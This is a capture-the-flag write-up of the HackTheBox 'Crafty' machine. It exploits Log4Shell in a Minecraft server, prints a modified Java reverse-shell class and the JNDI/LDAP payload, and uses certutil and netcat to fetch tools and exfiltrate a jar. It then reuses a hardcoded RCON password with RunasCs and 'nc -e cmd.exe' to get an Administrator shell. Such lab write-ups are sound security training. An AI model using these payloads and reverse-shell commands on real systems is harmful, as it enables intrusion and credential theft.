Crafty – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Easy
  • Platform: HackTheBox

‘Crafty’ Avatar


Summary Link to heading

Crafty is an easy box/machine from HackTheBox platform that teaches how to abuse vulnerable Log4j versions in an old Minecraft server. Checking open TCP ports we note that this server is, in fact, a Minecraft server. Analyzing its version we note that it is running a vulnerable version of Log4J, which allows us to to execute the famous exploit Log4Shell (CVE-2021-44228) and gain a shell as svc_minecraft user. Once inside the machine, we are able to extract a Java .tar file that has credentials. Using RunasCs, we check if those credentials belong to Administrator password; and they do, so we are able to gain access as Administrator user and fully compromise the machine


User Link to heading

Nmap scan shows only 2 ports open: 80 HTTP and 25565 a Minecraft service

❯ sudo nmap -sVC -p80,25565 10.10.11.249 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 17:20 -04
Nmap scan report for 10.10.11.249
Host is up (0.17s latency).

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

From the output I can see that the site redirects to crafty.htb. So I add this IP address and domain to my /etc/hosts file:

❯ echo '10.10.11.249 crafty.htb' | sudo tee -a /etc/hosts

Visiting the site http://crafty.htb shows a page based on Minecraft that displays, apparently, the data of the server:

Crafty 1

The site displays the subdomain play.crafty.htb, so I decide to add this site to my /etc/hosts file as well, so it now looks like:

❯ cat /etc/hosts | tail -n 1

10.10.11.249 crafty.htb play.crafty.htb

but visiting play.crafty.htb just redirects to crafty.htb. For example, analyzing the site with WhatWeb we have:

❯ whatweb http://play.crafty.htb

http://play.crafty.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], Microsoft-IIS[10.0], RedirectLocation[http://crafty.htb], Title[Document Moved]
http://crafty.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]

I search for directories with a Brute Force Directory Listing with Gobuster, but got nothing interesting:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://crafty.htb -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://crafty.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 200) [Size: 1826]
/img                  (Status: 301) [Size: 145] [--> http://crafty.htb/img/]
/Home                 (Status: 200) [Size: 1826]
/css                  (Status: 301) [Size: 145] [--> http://crafty.htb/css/]
/js                   (Status: 301) [Size: 144] [--> http://crafty.htb/js/]
/IMG                  (Status: 301) [Size: 145] [--> http://crafty.htb/IMG/]
/CSS                  (Status: 301) [Size: 145] [--> http://crafty.htb/CSS/]
/Img                  (Status: 301) [Size: 145] [--> http://crafty.htb/Img/]
/JS                   (Status: 301) [Size: 144] [--> http://crafty.htb/JS/]
/HOME                 (Status: 200) [Size: 1826]
/coming-soon          (Status: 200) [Size: 1206]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

So at this point I decide to go back to port 25565 shown by Nmap scan. Googling Minecraft 1.16.5 exploit shows that this version has Log4J vulnerable version to Log4Shell. So, apparently, we need to run commands from Minecraft to our machine to exploit this. For this we have 2 options:

  1. Download Minecraft launcher for Linux (since my attacker machine is a Linux machine). This might require TLauncher so I prefer to skip this option…
  2. Use a Python library called pyCraft (whose repository can be visited here) and attempt to run commands from there

I will use the second option. First, I clone pyCraft repository:

❯ git clone https://github.com/ammaraskar/pyCraft.git

Cloning into 'pyCraft'...
remote: Enumerating objects: 3182, done.
remote: Counting objects: 100% (158/158), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 3182 (delta 106), reused 112 (delta 88), pack-reused 3024
Receiving objects: 100% (3182/3182), 775.28 KiB | 2.42 MiB/s, done.
Resolving deltas: 100% (2222/2222), done.

Then, create a virtual environment to install all the dependencies for this package. In my case I will create an environment called minecraftENV, and install all the package dependencies on that environment:

❯ cd pyCraft

❯ python3 -m venv minecraftENV

❯ source minecraftENV/bin/activate

❯ pip3 install -r requirements.txt

Next, to exploit Log4J we will use this Github repository. Once cloned and installed all the dependencies we still need other files to run it. From log4shell-poc repository, we will need to change poc.py. For this we change the portion of code:

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
<SNIP>

to

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),

So we change /bin/sh (to get a shell from a Linux server) to cmd.exe (to get a shell from a Windows server, which is the case of Crafty machine)

We need a Java file to run this exploit. Usually you would like to try different version until the one that works. In this case we need the version 8. So we can download it from this repository:

❯ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

--2024-05-17 18:00:39--  https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
Resolving repo.huaweicloud.com (repo.huaweicloud.com)... 119.8.158.18, 119.8.158.19, 119.8.158.17
Connecting to repo.huaweicloud.com (repo.huaweicloud.com)|119.8.158.18|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 185646832 (177M) [application/octet-stream]
Saving to: ‘jdk-8u181-linux-x64.tar.gz’

jdk-8u181-linux-x64.tar.gz                 100%[=======================================================================================>] 177.05M  55.3MB/s    in 3.3s

2024-05-17 18:00:42 (53.9 MB/s) - ‘jdk-8u181-linux-x64.tar.gz’ saved [185646832/185646832]

❯ tar -xf jdk-8u181-linux-x64.tar.gz

We also have to rename the extracted file to jdk1.8.0_20 since this file is needed by the exploit. So we rename it:

❯ mv jdk1.8.0_181 jdk1.8.0_20

so the directory log4j-shell-poc now looks like:

❯ ls -la

total 181352
drwxr-xr-x 6 gunzf0x gunzf0x      4096 May 17 18:02 .
drwxr-xr-x 4 gunzf0x gunzf0x      4096 May 17 17:54 ..
-rw-r--r-- 1 gunzf0x gunzf0x       177 May 17 17:54 Dockerfile
drwxr-xr-x 8 gunzf0x gunzf0x      4096 May 17 17:54 .git
-rw-r--r-- 1 gunzf0x gunzf0x        23 May 17 17:54 .gitignore
drwxr-xr-x 7 gunzf0x gunzf0x      4096 Jul  7  2018 jdk1.8.0_20
-rw-r--r-- 1 gunzf0x gunzf0x 185646832 Jul  8  2018 jdk-8u181-linux-x64.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x      1060 May 17 17:54 LICENSE
-rwxr-xr-x 1 gunzf0x gunzf0x      4208 May 17 17:58 poc.py
-rw-r--r-- 1 gunzf0x gunzf0x      3051 May 17 17:54 README.md
-rw-r--r-- 1 gunzf0x gunzf0x        18 May 17 17:54 requirements.txt
drwxr-xr-x 2 gunzf0x gunzf0x      4096 May 17 17:54 target
drwxr-xr-x 4 gunzf0x gunzf0x      4096 May 17 17:54 vulnerable-application

Now that we have everything we can start running the exploit. First, start a netcat listener, in my case, on port 443:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Then, run the exploit:

❯ python3 poc.py --userip 10.10.16.2 --webport 80 --lport 443

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.16.2:1389/a}

[+] Starting Webserver on port 80 http://0.0.0.0:80
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

where 10.10.16.2 is my attacker IP and 443 is the port I am listening with netcat. But we are not done yet.

As the program says, we need to execute ${jndi:ldap://10.10.16.2:1389/a} in the victim server to trigger the reverse shell.

Now, start pyCraft. We can use it in offline mode (so we don’t need a Minecraft account):

❯ python3 start.py

Enter your username: gunzf0x
Enter your password (leave blank for offline mode):
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected.

${jndi:ldap://10.10.16.2:1389/a}

where, at the end, I have typed ${jndi:ldap://10.10.16.2:1389/a}.

After doing this we get a shell as svc_minecraft user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server>whoami

whoami
crafty\svc_minecraft

where we can see the user flag at C:\Users\svc_minecraft\Desktop directory.


NT Authority/System - Administrator Link to heading

After searching for some files in the system I can see a Java file at C:\Users\svc_minecraft\server\plugins:

c:\Users\svc_minecraft\server\plugins>dir

dir
 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of c:\Users\svc_minecraft\server\plugins

10/27/2023  02:48 PM    <DIR>          .
10/27/2023  02:48 PM    <DIR>          ..
10/27/2023  02:48 PM             9,996 playercounter-1.0-SNAPSHOT.jar
               1 File(s)          9,996 bytes
               2 Dir(s)   3,814,014,976 bytes free

To download this file I pass a netcat binary for Windows using certutil. First start a temporal HTTP Python server on port 8080 in our attacker machine:

❯ ls && python3 -m http.server 8080

log4j-shell-poc  nc64.exe  pyCraft
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and in the target machine, run:

c:\Users\svc_minecraft\server\plugins>certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe

certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Next, use the netcat binary to download the file c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. In our machine start a netcat listener on port 4444 and save everything received in this port into a file:

❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar

listening on [any] 4444 ...

and in the victim machine, pass the file:

c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

We get a connection:

❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49684

and after some time press Ctrl+C.

Finally, check that the MD5 hashes of both files are the same to check the integrity of the files. In the victim machine (the original file) we have:

c:\Users\svc_minecraft\server\plugins>certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5

certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
MD5 hash of c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar:
349f6584e18cd85fc9e014da154efe03
CertUtil: -hashfile command completed successfully.

and in my attacker machine, I run:

❯ md5sum playercounter-1.0-SNAPSHOT.jar

349f6584e18cd85fc9e014da154efe03  playercounter-1.0-SNAPSHOT.jar

Since both hashes are the same the file has been successfully transferred.

Now, analyze the .jar Java file with Java Decompiler (jd-gui). We can install it with:

sudo apt install jd-gui

and run it:

❯ jd-gui &> /dev/null & disown

Open the playercounter-1.0-SNAPSHOT.jar with the decompiler. We can see a class called Playercounter.class:

Crafty 2

or

package htb.crafty.playercounter;

import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {
  public void onEnable() {
    Rcon rcon = null;
    try {
      rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
    } catch (IOException e) {
      throw new RuntimeException(e);
    } catch (AuthenticationException e2) {
      throw new RuntimeException(e2);
    } 
    String result = null;
    try {
      result = rcon.command("players online count");
      PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
      writer.println(result);
    } catch (IOException e3) {
      throw new RuntimeException(e3);
    } 
  }
  
  public void onDisable() {}
}

where I can see something like a credential/password: s67u84zKq8IXw

What if this is the Administrator password? We have 2 potential users in this machine: jacob and Administrator:

c:\Users\svc_minecraft\server\plugins>net user

net user

User accounts for \\CRAFTY

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
jacob                    svc_minecraft            WDAGUtilityAccount
The command completed successfully.

Since we don’t have Server Message Block (SMB) or Windows Remote Management services running, we will have to use RunasCs. Download it from its Github repository, unzip it and pass the .exe file to the target as we have passed previously the netcat binary. Then, run RunasCs as Administrator using the found password in the target machine. Start a netcat listener on port 443 and in the victim machine, run:

c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"

c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"

and get a shell as Administrator user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49687
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
crafty\administrator

and we can read the root.txt flag at C:\Users\Administrator\Desktopdirectory.

~ Happy Hacking